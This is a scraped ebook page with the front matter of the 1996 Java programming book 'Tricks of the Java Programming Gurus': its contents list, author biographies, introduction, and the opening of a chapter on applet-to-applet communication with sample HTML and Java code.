100% found this document useful (1 vote)
1K views808 pages

Tricks of The Java Programming Gurus

Tricks of the Java Programming Gurus
Copyright
© Attribution Non-Commercial (BY-NC)
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
100% found this document useful (1 vote)
1K views808 pages

Tricks of The Java Programming Gurus

Tricks of the Java Programming Gurus
Copyright
© Attribution Non-Commercial (BY-NC)
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 808

CONTENTS -- Tricks of the Java Programming Gurus

Tricks
of the

Java Programming Gurus


by Glenn L. Vanderburg. et al.

C O N T E N T S
Introduction Chapter 1 Communication Between Applets
G G G G G

getApplet: The "Official" Mechanism Static Variables and Methods Network Communication Thread-Based Communication Summary

Chapter 2 Using the Media Tracker


G G

Java Media Objects and the Internet Keeping Up with Media Objects

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/INDEX.HTM (1 of 19) [8/16/02 8:35:47 AM]

CONTENTS -- Tricks of the Java Programming Gurus


G G G G

The MediaTracker Class Tracking Images with the Media Tracker Tracking Other Types of Media Summary

Chapter 3 Exploiting the Network


G G G G

Retrieving Data Using URLs Posting Data to a URL Communication Using Sockets Summary

Chapter 4 Using Java's Audio Classes


G G G G G

Digital Audio Fundamentals Java Audio Support Playing Audio In Java The Future of Java Audio Summary

Chapter 5 Building Special-Purpose I/O Classes


G G G G

Stream Classes Non-Stream I/O Classes Highly Structured Files Summary

Chapter 6 Effective Use of Threads


G G G G

Using Threads Performance Inside Threads Summary

Chapter 7 Concurrency and Synchronization


file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/INDEX.HTM (2 of 19) [8/16/02 8:35:47 AM]

CONTENTS -- Tricks of the Java Programming Gurus

G G G G G G G

Concurrency Monitors Advanced Monitor Concepts Synchronization A Thread Coordination Example Advanced Thread Coordination Summary

Chapter 8 All About GridBaglayout and Other Layout managers


G G G G G

Automated Layout and the AWT Layout Manager Basic Layout Classes The GridBagLayout Class Creating Your Own Layout Manager Summary

Chapter 9 Extending AWT Components


G G G G G G

Components-an Overview New Components from Old A Self-Validating TextField A Multi-State Toggle Button Overview Summary

Chapter 10 Combining AWT Components


G G G G G G G

Component, Container, Panel E Pluribus Unum: Out of Many-One Panels Are Components Too Layouts Whose Event Is It Anyway? The Panel as a Component Manager A Scrolling Picture Window Example

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/INDEX.HTM (3 of 19) [8/16/02 8:35:47 AM]

CONTENTS -- Tricks of the Java Programming Gurus


G G G G

Overview Class Construction Event Handling Summary

Chapter 11 Advanced Event Handling


G G G G G G G G G G G

Basic Event Handling The Event Class Key Events Mouse Events Displaying Events Events with Methods Generating Events Fixing Broken Event Handling A Complete Example Major Surgery to the Event Model Summary

Chapter 12 Image Filters and Color Models


G G G G G G G G G G

Understanding Color Color Images in Java Color Models The Color Model Classes Working with Color Models Image Filters The Image Filter Classes Writing Your Own Image Filters Using Image Filters Summary

Chapter 13 Animation Techniques


G G G

What Is Animation? Types of Animation Implementing Frame Animation

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/INDEX.HTM (4 of 19) [8/16/02 8:35:47 AM]

CONTENTS -- Tricks of the Java Programming Gurus


G G G G

Eliminating Flicker Implementing Sprite Animation Testing the Sprite Classes Summary

Chapter 14 Writing 2D Games


G G G G G G G G G G G G G

2D Game Basics Scaling an Object Translating an Object Rotating an Object 2D Game Engine The Missile Class Asteroids The Asteroids Applet Class The Asteroids The Ship The Photons Final Details Summary

Chapter 15 A Virtual Java-Creating Behaviors in VRML 2.0


G G G G G G G G G G G G

Going Beyond Reality Making the World Behave Overview of VRML The VRML Script Node VRML Datatypes in Java Integrating Java Scripts with VRML The Browser Class The Script Execution Model Creating Efficient Behaviors Dynamic Worlds-Creating VRML on the Fly Creating Reusable Behaviors The Future: VRML, Java, and AI

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/INDEX.HTM (5 of 19) [8/16/02 8:35:47 AM]

CONTENTS -- Tricks of the Java Programming Gurus


G

Summary

Chapter 16 Building STand-Alone Applications


G G G G G G

Writing and Running a Java Program Properties Application Instances The BloatFinder Application Using Java's Special Features Summary

Chapter 17 Network-Extensible Applications with Factory Objects


G G G G G G

How Factories Work Factory Support in the Java Library Factory Object Implementation Considerations Supporting a New Kind of Factory Security Considerations Summary

Chapter 18 Developing Database Applications and Applets


G G G G G G G G G G

Storing Data for the Web Providing Access to Data The JDBC API Simple Database Access Using the JDBC Interfaces Result Sets and the Meta-Data Interfaces Other JDBC Functionality Building a JDBC Implementation Extending JDBC Designing a Database Application Summary

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/INDEX.HTM (6 of 19) [8/16/02 8:35:47 AM]

CONTENTS -- Tricks of the Java Programming Gurus

Chapter 19 Persistence
G G G G G

What Is Persistence? Forms of Persistence (in Java) Implementing a Simple File-Based Persistent Store The PersistentJava (PJava) Project Summary

Chapter 20 A User's View of Security


G G G G G

Users Need to Understand The Kinds of Attacks Which Resources Are Dangerous? Cultural Change Summary

Chapter 21 Creating a Security Policy


G G G G G G G G G

The Java Security Model The Java Security Manager Security Manager Decisions Which Resources Are Protected? Understanding Security Risks Keeping the Security Policy Manageable Implementing Class Loaders Implementing Security Managers Summary

Chapter 22 Authentication, Encryption, and Trusted Applets


G G G G

Cryptography Basics Security Mechanisms Provided by java.security Enabling Trusted Applets Cryptographic Security Solves Everything, Right?

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/INDEX.HTM (7 of 19) [8/16/02 8:35:47 AM]

CONTENTS -- Tricks of the Java Programming Gurus


G

Summary

Chapter 23 Pushing the Limits of Java Security


G G G G G G G G G

Introducing Hostile Applets Challenges for the Hacker A Very Noisy Bear A Gluttonous Trio Throw Open a Window Survival of the Fittest, Applet Style Port 25, Where Are You? A Java Factoring-By-Web Project Summary

Chapter 24 Integrated Development Environments


G G G G G G G

The Examples Used in This Chapter Symantec's Cafe Lite ED for Windows, The Java IDE Object Engineering Workbench Comparison of Environments Other Products Under Development Summary

Chapter 25 Class Organization and Documentation


G G G G

Java Packages Documentation Generation Using javadoc Class Dissassembly Using javap Summary

Chapter 26 The Java Debugging API


G G G

Remote Debugging Java Debugger The Sun Java Debugger API

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/INDEX.HTM (8 of 19) [8/16/02 8:35:47 AM]

CONTENTS -- Tricks of the Java Programming Gurus


G G G

Simple Types Some Examples Summary

Chapter 27 Alternatives to Java


G G G G G

Nuts and Bolts Languages General-Purpose Languages Scripting Languages Secure Languages Summary

Chapter 28 Moving C and C++ Code to Java


G G G G G G G G G G G G G G G G G

File Organization The Preprocessor Structures and Unions Functions and Methods Procedural-to-OOP Conversion Operator Overloading Automatic Coercions Command-Line Arguments I/O Streams Strings Pointers Multiple Inheritance Inheritance Syntax Access Modifiers Friends and Packages Booleans Summary

Chapter 29 Using Tcl with Java


G G G

Introduction to Tcl What Does This Have to Do with Java? The TclJava API

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/INDEX.HTM (9 of 19) [8/16/02 8:35:47 AM]

CONTENTS -- Tricks of the Java Programming Gurus


G G G G

User Menu Configuration Other Useful Roles for Tcl Tcl Extension Packages Summary

Chapter 30 When and Why to Use Native Methods


G G G G G

What Is a Native Method? Uses for Native Methods Benefits and Trade-Offs How Does This Magic Work? Summary

Chapter 31 The Native Method Interface


G G G G G

A Java Class with Native Methods Accepting and Returning Java Classes Accessing Arrays of Classes Accessing a Float Array Summary

Chapter 32 Interfacing to Existing C and C++ Libraries


G G G G

Interfacing to Legacy C Libraries Developing Java Interface Class Libraries with Legacy C++ Libraries Special Concerns and Tips Summary

Chapter 33 Securing Your Native Method Libraries


G G G G

Security in Native Method Libraries Avoiding the Problem Identifying Security-Sensitive Resources Security Checks

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/INDEX.HTM (10 of 19) [8/16/02 8:35:47 AM]

CONTENTS -- Tricks of the Java Programming Gurus


G G

Language Protection Mechanisms Summary

Chapter 34 Client/Server Programming


G G G G G G G G

Java's Suitability for Client/Server Programming Client and Servers Merging the Client and Server Java's Deployable Code Advantage Java TCP/IP Sockets Using Datagram for UDP Sockets Using Socket and ServerSocket for TCP Sockets Summary

Chapter 35 Taking Advantage of the Internet in Development


G G G G G G

Ending the Isolation of the pc Working and Playing in Groups Creating and Using Resource Libraries Distributing and Maintaining Software Creating Alternative Revenue Schemes Summary

Chapter 36 Fulfilling the Promise of Java


G G G

The Java Ideals The Java Community Setting Your Sights

Appendix A API Quick Reference


G G G

java.applet java.awt java.awt.image

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/INDEX.HTM (11 of 19) [8/16/02 8:35:47 AM]

CONTENTS -- Tricks of the Java Programming Gurus


G G G G G

java.awt.peer java.io java.lang java.net java.util

Appendix B Class Hierarchy Diagrams Credits

Copyright 1996 by Sams.net Publishing FIRST EDITION All rights reserved. No part of this book shall be reproduced, stored in a retrieval system, or transmitted by any means, electronic, mechanical, photocopying, recording, or otherwise, without written permission from the publisher. No patent liability is assumed with respect to the use of the information contained herein. Although every precaution has been taken in the preparation of this book, the publisher and author assume no responsibility for errors or omissions. Neither is any liability assumed for damages resulting from the use of the information contained herein. For information, address Sams.net Publishing, 201 W. 103rd St., Indianapolis, IN 46290. International Standard Book Number: 1-57521-102-5

HTML conversion by : M/s. LeafWriters (India) Pvt. Ltd. Website : http://leaf.stpn.soft.net e-mail : [email protected]

About the Authors


LEAD AUTHOR

Glenn Vanderburg ([email protected], http://www.utdallas.edu/~glv/) is an Internet

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/INDEX.HTM (12 of 19) [8/16/02 8:35:47 AM]

CONTENTS -- Tricks of the Java Programming Gurus

Development Specialist at The University of Texas at Dallas, where he helps maintain the University's Internet services and tries to find the time to develop new ones. He holds a B.S. degree in Computer Science from Texas A&M University. He wrote his first Java program in January 1995, and is interested in exploring the benefits of Java (and its security features) for full-scale software projects. Glenn wrote chapters 1, 3, 5, 16, 17, 20, 21, 22, 27, 29, 33, and 36. Glenn was invaluable as a sounding board and reviewer of the various outlines. CONTRIBUTING AUTHORS Bob Besaha is a Java instructor and developer. He may be reached at [email protected]. Currently, Bob is developing beginning and advanced Java courseware, and also, Smalltalk and general ClientServer workshops for licensing by corporations and other development shops. Bob contributed to Chapter 34, "Client/Server Programming." David R. Chung ([email protected]) is a senior programmer in the Church Software Division of Parsons Technology in Hiawatha, Iowa. David's current projects include Windows and the Internet. David moonlights teaching C and C++ to engineers for a local community college. David is the father of six children whose names all begin with "J." In his spare time, David enjoys bicycling, teaching adult Sunday School, rollerblading, skiing, windsurfing, preaching in a nursing home, tennis, 2- and 6-player volleyball, playing the clarinet, and speaking French. David wrote Chapters 9 and 10, covering advanced AWT topics. Justin Couch ([email protected]) has completed B.Sc in computer science and BE(elec) in information systems from Sydney University. He works as a software engineer for ADI in simulation systems and the Australian Army Battle Simulation Group. His current research interests focus on using VRML for large scale worlds and developing the Cyberspace Protocol. He is involved with the Terra Vista virtual community. To keep sane he glides and performs as a classical musician. Justin can be reached via the Web at http://vlc.localnet.com.au/. Justin wrote Chapter 15, "A Virtual Java-Creating Behaviors in VRML 2.0." Henrik Eriksson is an associate professor of Computer Science at Linkping University, Linkping, Sweden. His research interests include expert systems, knowledge acquisition, reusable problem-solving methods, and medical informatics. He got his MSc in Computer Science from Linkping University in 1987, and his Ph.D. in computer science at Linkping University in 1991. He was a postdoctoral fellow and research scientist at Stanford University between 1991 and 1994. He can be reached at the Department of Computer and Information Science, Linkping University, S-581 83 Linkping, Sweden; [email protected]. Henrik wrote Chapter 8, "All about GridBagLayout and Other Layout Managers." Steve Ingram is a computer consultant in the Washington D.C. metro area specializing in embedded data communications and object-oriented design. He holds an electrical engineering degree from Virginia

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/INDEX.HTM (13 of 19) [8/16/02 8:35:47 AM]

CONTENTS -- Tricks of the Java Programming Gurus

Tech and has been programming for 15 years. He was the architect behind the language of Bell Atlantic's Stargazer interactive television project, where he first encountered Java. When he's not working, Steve likes to sail the Chesapeake Bay with his wife and son. He can be reached at [email protected]. Steve wrote Chapter 14, "Writing 2D Games." Mark D. LaDue works as a Consulting Engineer for the Radio Dynamics Corporation, based in Silver Spring, Maryland, and is completing his Ph.D. in applied mathematics at the Georgia Institute of Technology. Mark is the creator of the Hostile Applets Home Page. He lives in Atlanta with his wife, Mariana, a research mathematician and Professor of Mathematics from Silistra, Bulgaria. You may write to him at [email protected]. Mark is responsible for Chapter 23, "Pushing the Limits of Java Security." Julie A. Kent ([email protected]) is currently employed by SAIC and is working on constructing an Intranet at Trippler Army Medical Center. She recently completed her Master's degree in Computer Science at the University of Maryland Baltimore County and has eight years of experience in application development and database design. She has been involved in Internet development for the last two years, with particular focus in providing Web access to information stored in relational databases. She enjoys reading, hiking, swimming, and kayaking with her husband Scott. Julie wrote Chapter 24, "Integrated Development Environments." Michael Morrison ([email protected]) is a contributing author to Java Unleashed and the co-author of Windows 95 Game Developer's Guide: Using the Game SDK. He currently lives in Scottsdale, Arizona with his female accomplice, Mahsheed. When not busy being a Java guru, Michael enjoys skateboarding, mountain biking, and teaching his parents how to use Word. Mike wrote chapters 2, 4, 12, 13, and 28. Jan Newmarch ([email protected]) is a professor at the University of Canberra where he teaches Computer Science. He has written books on Prolog and Motif, and published papers in Physics, Artificial Intelligence, and User Interface Programming. He has written a number of systems, such as the awtCommand package, tclMotif (a binding of tcl to Motif), replayXt (a test and replay system for Xt/Motif), and others that are available as source code from ftp://ftp.canberra.edu.au/pub/motif/. He likes listening to music of most kinds, and enjoys eating and drinking wines of as high a quality as he can afford. Jan wrote Chapter 11, "Advanced Event Handling." Tim Park is a recent graduate of the Stanford Graduate School of Electrical Engineering. Now working for a major computer company in Silicon Valley, he is currently working on a Java 3D graphics library for the Internet. His interests include distributed computing, computer graphics, and mountain biking. Tim can be reached at [email protected]. He wrote chapters 31 and 32 on native methods and interfacing to existing C and C++ libraries.

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/INDEX.HTM (14 of 19) [8/16/02 8:35:47 AM]

CONTENTS -- Tricks of the Java Programming Gurus

Larry Rau ([email protected]) is currently a Software Technologist with The ImagiNation Network, an online network dedicated to gaming and entertainment. He received a BA in Computer Science and Mathematics from Anderson University in Anderson, Indiana. His primary interest is in computer languages and compilers, although he often branches out to a wide range of interests. Most recently he has been lucky enough to work with Java on a daily basis, and Larry would like to acknowledge The ImagiNation Network, Inc. for providing him with the opportunity to use the Java language and contribute to this book. Outside of the computer field he likes to play almost any sport, with running and hockey high on the list. Larry is also lucky to share his life with his loving wife, Wendy, and his wonderful children, Nicholas and Olivia. Larry wrote chapters 6, 26, and 30. George Reese ([email protected]) holds a philosophy degree from Bates College in Lewiston, Maine. He currently works as a consultant with York and Associates, Inc. and as a magazine columnist for the Java Developer's Journal. George has written some of the most popular MUD software on the Internet, including the Nightmare Object Library and the Foundation Object Library. For Java, he was the creator of the first JDBC implementation, the Imaginary JDBC Implementation for mSQL. His Internet publications include the free textbooks on the Lpc programming language, Lpc Basics and Intermediate Lpc. George lives in Bloomington, Minnesota with his two cats Misty and Gypsy. He wrote chapters 18 and 35 and contributed to Chapter 34. Mary Dombek Smiley ([email protected]) is a Senior Software Engineer with Lockheed Technical Operations Corporation, working on the Hubble Space Telescope Program in Lanham, Maryland. Mary has a bachelors degree in computer science from University of Iowa and a masters degree in software engineering from Penn State. She was assisted in researching this chapter by Jeff Johnson ([email protected]), Senior Staff Engineer with Lockheed Martin Space Mission Systems. Jeff has a bachelors degree in computer science from Colorado State University. Mary wrote Chapter 25, "Class Organization and Documentation Tools." Eric Williams is a team leader and software engineer for Sprint's Long Distance Division. Although currently focusing on C++ and Smalltalk development, Eric has been active in the Java community, contributing to the comp.lang.java newsgroup and delivering presentations about Java to various user groups. Eric was also responsible for identifying a Java 1.0.1 security flaw related to sockets and DNS. He can be reached by email at [email protected] or via the Web at http://www.sky.net/~williams. Eric wrote Chapter 7, "Concurrency and Synchronization" and Chapter 19, "Persistence."

Tell Us What You Think!


As a reader, you are the most important critic and commentator on our books. We value your opinion and want to know what we're doing right, what we could do better, what areas you'd like to see us publish in, and any other words of wisdom you're willing to pass our way. You can help us make strong books that meet your needs and give you the computer guidance you require.
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/INDEX.HTM (15 of 19) [8/16/02 8:35:47 AM]

CONTENTS -- Tricks of the Java Programming Gurus

Do you have access to CompuServe or the World Wide Web? Then check out our CompuServe forum by typing GO SAMS at any prompt. If you prefer the World Wide Web, check out our site at http://www.mcp.com. Note If you have a technical question about this book, call the technical support line at (800) 571-5840, ext. 3668.

As the team leader of the group that created this book, I welcome your comments. You can fax, e-mail, or write me directly to let me know what you did or didn't like about this book-as well as what we can do to make our books stronger. Here's the information: FAX: 317/581-4669 E-mail: [email protected] Mark Taber Comments Department Sams Publishing 201 W. 103rd Street Indianapolis, IN 46290

Mail:

Introduction
by Glenn Vanderburg "Java gurus? Already? But Java's a brand new language!" It's true that as I write this, Java has only been available to the public for about a year (and only a few months in a supported release). As programming languages go, Java is quite new, and the complete Java guru is an exceedingly rare individual. No one person could have written this book. In some ways, though, Java is not so new. It has existed within Sun Microsystems Laboratories, in one form or another, for several years. Programmers within Sun have used Java for a while and gained a lot of experience with it, and that experience shows in the code for the Java library, which is freely available.

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/INDEX.HTM (16 of 19) [8/16/02 8:35:47 AM]

CONTENTS -- Tricks of the Java Programming Gurus

Furthermore, none of the individual features of Java are really new at all. Java's inventors cheerfully acknowledge that Java consists primarily of tried and true ideas, combined in a novel, tasteful, clean way. The whole of Java is new: no previous language has incorporated the same combination of features, and although some other languages have come close, few have been as simple or comfortable to use as Java. But while the combination is new, the individual pieces are not. Pick any one of them, and there are quite a few programmers around the world who have a deep understanding of the topic. Those are the programmers who have come together to write Tricks of the Java Programming Gurus.

Audience and Focus


At the start of this project, I began by outlining the book that I wanted to read-the book that I wished was already available. I listed things that I wanted to learn about Java: deep topics which weren't being covered by the tutorials or reference books which were coming on the market, and questions about how Java could be used for advanced tasks. Editors, friends, and other authors proposed chapters on topics which I had overlooked, and the result, I think, meets my goal. In writing my chapters, and reading the chapters contributed by the other authors, I've learned the answers to the questions I had at the beginning, and many others besides. The topics covered by Tricks of the Java Programming Gurus fall into three categories:
G

Advanced use and customization of the core Java API: applets, the AWT, I/O, threads and concurrency, and networking Building stand-alone applications which use untrusted or partially trusted Java code for dynamic extensibility, just as HotJava does Use of new or auxiliary Java class libraries and frameworks which make Java useful for working with VRML, client-server systems, relational databases, and persistent object databases.

If you are interested in any of those things-if you want to take Java beyond animated coffee cups and flashy Web pages-you should read this book. It is filled with tricks on both small and large scales: handy snippets of code, complete sample classes, and high-level design strategies designed to help you make the most of Java's unique combination of features. The authors of this book like Java and think that it has tremendous promise, but you won't find much breathless hype here. We assume that readers are already familiar with the basics of the Java language and API, and if you know that much, you've heard the claims already. So instead of asking you to sit through that again, we've tried to concentrate on information that you can actually use to bring some of the promises to reality. We have been frank about deficiencies in Java and its libraries, steering you away from problem areas, and warning you about bugs and misfeatures which may need to change in some future version of the libraries. We've also tried to provide some of the knowledge you'll need to work around some of the problems on your own.

Roadmap for Readers


file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/INDEX.HTM (17 of 19) [8/16/02 8:35:47 AM]

CONTENTS -- Tricks of the Java Programming Gurus

This book, as the table of contents shows, is organized in ten parts, each devoted to a different part of the Java environment, or a different aspect of Java programming. The organization is logical, and if it's your goal to become a complete Java expert, you might want to start at the beginning and read straight through to the end. Most readers, however, will have more pragmatic goals, and will want to choose the chapters that are particularly relevant to their needs. Hopefully, somewhere in the next few paragraphs you will find an approximation to your own goal, along with pointers to chapters which should help you along your way. Most readers will find Parts 2, 3, and 4 useful: they cover I/O and concurrency, advanced AWT topics, and graphics-topics which are important for all kinds of Java programs. Also of general interest is Part 7, "Using Java Tools," which covers graphical development environments and other Java tools. If you are interested in writing advanced applets that interact with the user and perform useful jobs, you can start at the beginning. Part I deals with advanced applet programming: inter-applet communication, using the MediaTracker to track asynchronous loading of images and other media objects, making good use of the network, and audio. Applet programmers can also make use of the general topics in Parts 2, 3, and 4. Even the I/O chapter will be useful in spite of applet security restrictions, because Java network communication is accomplished using some of the same mechanisms as are used for file I/O. Readers who want to learn about some of the new Java libraries and frameworks which aren't a part of the 1.0 Java release should turn to the following chapters:
G G G

Chapter 22, "Authentication, Encryption, and Trusted Applets" Chapter 34, "Client-Server Programming" Chapter 15, "A Virtual Java-Creating Behaviors in VRML 2.0"

Finally, if you want to build full-fledged applications with Java, able to host applets or dynamically loadable extensions, you might find these sections especially helpful:
G G G G G

Part 5, "Writing Java Applications" Part 6, "Security" Part 8, "Java and Other Languages" Part 9, "Native Methods: Extending Java in C" Part 10, "Expanding Java"

Acknowledgments
Any book which tries to cover this much territory requires contributions from a lot of people. All of the
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/INDEX.HTM (18 of 19) [8/16/02 8:35:47 AM]

CONTENTS -- Tricks of the Java Programming Gurus

various authors and most of the production staff at Sams.net who contributed are listed by name in the book, but there are many contributors who are not mentioned by name. Colleagues and network acquaintances have cheerfully answered technical questions. I know that my family and friends have been patient while I was writing, and my wife read every page I wrote and suggested dozens of improvements, wisely placing the quality of the book ahead of my ego. I'm certain that the other authors received similar support and assistance from those close to them. With over a dozen authors, there is no way for us to individually acknowledge everyone who deserves our thanks, but we are appreciative nonetheless.

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/INDEX.HTM (19 of 19) [8/16/02 8:35:47 AM]

Chapter 1 -- Communication Between Applets

Chapter 1
Communication Between Applets

CONTENTS
G G G G G

getApplet: The "Official" Mechanism Static Variables and Methods Network Communication Thread-Based Communication Summary

Depending on what you need to accomplish, one applet, or even several distinct applets, might not always be enough. Fortunately, applets can communicate with each other and cooperate to perform more complicated jobs. Teams of applets can produce effects that single applets working alone cannot. Applet communication is accomplished in conventional ways: applets can call methods on one another or communicate through sockets or other data streams. The tricky part is actually finding one another. Applets can actually find each other in more than one way, and each mechanism has its advantages and limitations. This chapter discusses four mechanisms and presents a complete example applet that uses one of them.

getApplet: The "Official" Mechanism


The Java API has a built-in feature that is explicitly intended to support applet cooperation: the getApplet and getApplets methods in the AppletContext class. Using these facilities, applets can find each other by name. Here's how to call getApplet: Applet friend = getAppletContext().getApplet("Friend"); Once that call completes, the friend variable will be set to the actual applet instance of the applet called "Friend" (if such an applet exists). If "Friend" is an instance of, say, Sun's Animator applet, friend will contain a reference to that object.

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch1.htm (1 of 15) [8/16/02 8:35:53 AM]

Chapter 1 -- Communication Between Applets

Applet names are specified in HTML, not in the Java code. To create an animator applet that could be found using the previous call, you could write HTML like this: <applet code="Animator.class" width=25 height=25 name="Friend"> <!-- applet parameters go here --> </applet> The getApplets method is similar to the singular getApplet, except that it returns an Enumeration, which lists all the accessible applets. Applets can then be queried for various characteristics, including name. Here's how to find the "Friend" applet using getApplets: Applet friend; for ( Enumeration e = getAppletContext().getApplets(); e.hasMoreElements(); ) { try { Applet t = (Applet) e.nextElement(); if ("Friend".equals(t.getParameter("name"))) { friend = t; break; } } catch (ClassCastException e) { } } That's obviously a lot more work, so you wouldn't want to use that method to find just a single applet. It can sometimes be useful in situations when you are looking for multiple applets, however, or where you don't know the precise names of the applets with which you need to rendezvous. For example, it's fairly easy with getApplets to find all the applets with names that begin with a certain string, such as "Helper-", so that your applet could work with any number of appropriately named helper applets that might appear on the same Web page. Unfortunately, there are at least two serious problems with these official applet location mechanisms. First, the proper behavior of these mechanisms currently is not completely specified, so different applications may choose to implement them in different ways. For example, the getApplets method returns only accessible applets, but there is no definition of what is meant by "accessible." You might only be able to see applets on the same page, applets that were loaded from the same network site, or the smaller set of applets that meet both of those restrictions, depending on the browser (or the version of a browser) within which your applet is running. There are other such implementation dependencies, and current applet environments actually differ in their interpretations. This limitation should cease to be a
file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch1.htm (2 of 15) [8/16/02 8:35:53 AM]

Chapter 1 -- Communication Between Applets

factor as Sun and Java's licensees work out a consistent, thorough specification for applet coordination mechanisms. For now, however, implementation differences are a nuisance. The other problem is not so likely to go away. It's easy to understand, but it complicates things somewhat, and it has taken many applet programmers by surprise. The problem is that getApplet and getApplets won't show you an applet until that applet has been fully loaded and initialized. Because of the vagaries of the network and other variables such as applet size, there's no way to predict which applet on a page will be loaded first, or which will be loaded last. This means that the obvious implementation approach-where one controlling applet starts, looks up the other applets, and begins directing the coordinated effort-won't work without some extra effort. There are ways around that problem, though. The controlling applet can check for its collaborators and, if they are not all present, sleep for a short while (a second or so) before checking again, looping until all the members of the team have been initialized. Such polling is inefficient and may result in a longer startup delay than necessary, but it will work. A better solution would be a two-way search-andnotification mechanism, in which the controlling applet searches for other applets when it is initialized, and the other applets attempt to locate and notify the controlling applet when they are initialized. That way, if all the helpers initialize first, the controller will find them immediately and can begin directing the cooperation, but if some of the helpers are initialized later, the controller will be notified immediately.

Static Variables and Methods


In many circumstances, it's possible to establish inter-applet communication by using static variables and methods within a common class. If multiple applets all depend on a common class in some way, they can use the class as a rendezvous point, registering their presence there and learning about the presence of other applets. Here is an example to illustrate the point. If the ColorRelay applet is used multiple times on a Web page, the different instances will cooperate to flash their own copies of an image, in different colors, in roundrobin fashion. You can think of the applets as relaying a token between themselves. Whoever has the token flashes an image in color, and the rest of the images are in black and white. Figure 1.1 shows ColorRelay in action on a page, with the middle applet flashing green. Listing 1.1 shows the HTML file for the page shown in Figure 1.1. Figure 1.1 : The ColorRelay applet in action.

Listing 1.1. ColorRelay.html.

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch1.htm (3 of 15) [8/16/02 8:35:53 AM]

Chapter 1 -- Communication Between Applets

<html> <body> <h1>Used Applets Sale!</h1> <p> <applet align=baseline code="COM.MCP.Samsnet.tjg.ColorRelay.class" width=50 height=50 name="first"> <param name="flashColor" value="0x0000ff"> <param name="sleepTime" value="1"> <param name="image" value="spiral.gif"> </applet> Low, low prices! <p> <applet align=baseline code="COM.MCP.Samsnet.tjg.ColorRelay.class" width=50 height=50> <param name="flashColor" value="0x00ff00"> </applet> This week only! <p> <applet align=baseline code="COM.MCP.Samsnet.tjg.ColorRelay.class" width=50 height=50> <param name="flashColor" value="0xff0000"> <param name="sleepTime" value="3"> </applet> We won't be undersold! </html>

Listing 1.2 is an overview of the ColorRelay applet, with methods replaced by comments. The code for the methods will appear in later listings.

Listing 1.2. ColorRelay.java (part 1). /*


file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch1.htm (4 of 15) [8/16/02 8:35:53 AM]

Chapter 1 -- Communication Between Applets

* ColorRelay.java */

1.0 96/04/14 Glenn Vanderburg

package COM.MCP.Samsnet.tjg; import java.applet.*; import java.awt.*; import java.awt.image.*; /** * An applet which coordinates with other instances of itself on a Web * page to alternately flash copies of an image in different colors. * * @version 1.0, 14 Mar 1996 * @author Glenn Vanderburg */ public class ColorRelay extends Applet implements Runnable { // These are used to maintain the list of active instances static ColorRelay list, listTail; ColorRelay next, prev; // This thread switches between instances static Thread relayer; // This is the original, unmodified base image which all // of the instances use. static Image originalImage; // The color that this instance uses to flash. the default. Color flashColor = Color.white; // The modified, colorized image. Image modifiedImage; // The image currently being displayed. This reference // alternates between originalImage and modifiedImage. Image image; White is

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch1.htm (5 of 15) [8/16/02 8:35:53 AM]

Chapter 1 -- Communication Between Applets

// We use a media tracker to help manage the images. MediaTracker tracker; // The time we wait while flashing. default. int sleepSecs = 2; Two seconds is the

// Method: static synchronized // addToList(ColorRelay elem) Listing 1.3 // Method: static synchronized // removeFromList(ColorRelay elem) Listing 1.3 // Method: public init() Listing 1.4 // Method: public start() Listing 1.5 // Method: public stop() Listing 1.5 // Method: public run() Listing 1.5 // Method: public getAppletInfo() CD // Method: public getParameterInfo () CD // Method: public paint(Graphics g) CD // Method: public update(Graphics g) CD // Method: flash() CD // Method: parseRGB(String str) CD }

on on on on on on

As you can see, there are several ordinary instance variables: a couple of images, a color, a media tracker, a duration in seconds, and a couple of link fields so that an instance of ColorRelay can be a member of a linked list. In addition, there are four static variables: the original image, which all the instances display when it's not their turn to flash, a thread that coordinates the activities of the applets, and the head and tail elements of the list of applets.

file:///C|/Ebooks/Tricks%20of%20the%20Java%20Programming%20Gurus/ch1.htm (6 of 15) [8/16/02 8:35:53 AM]

Chapter 1 -- Communication Between Applets

Finding Each Other


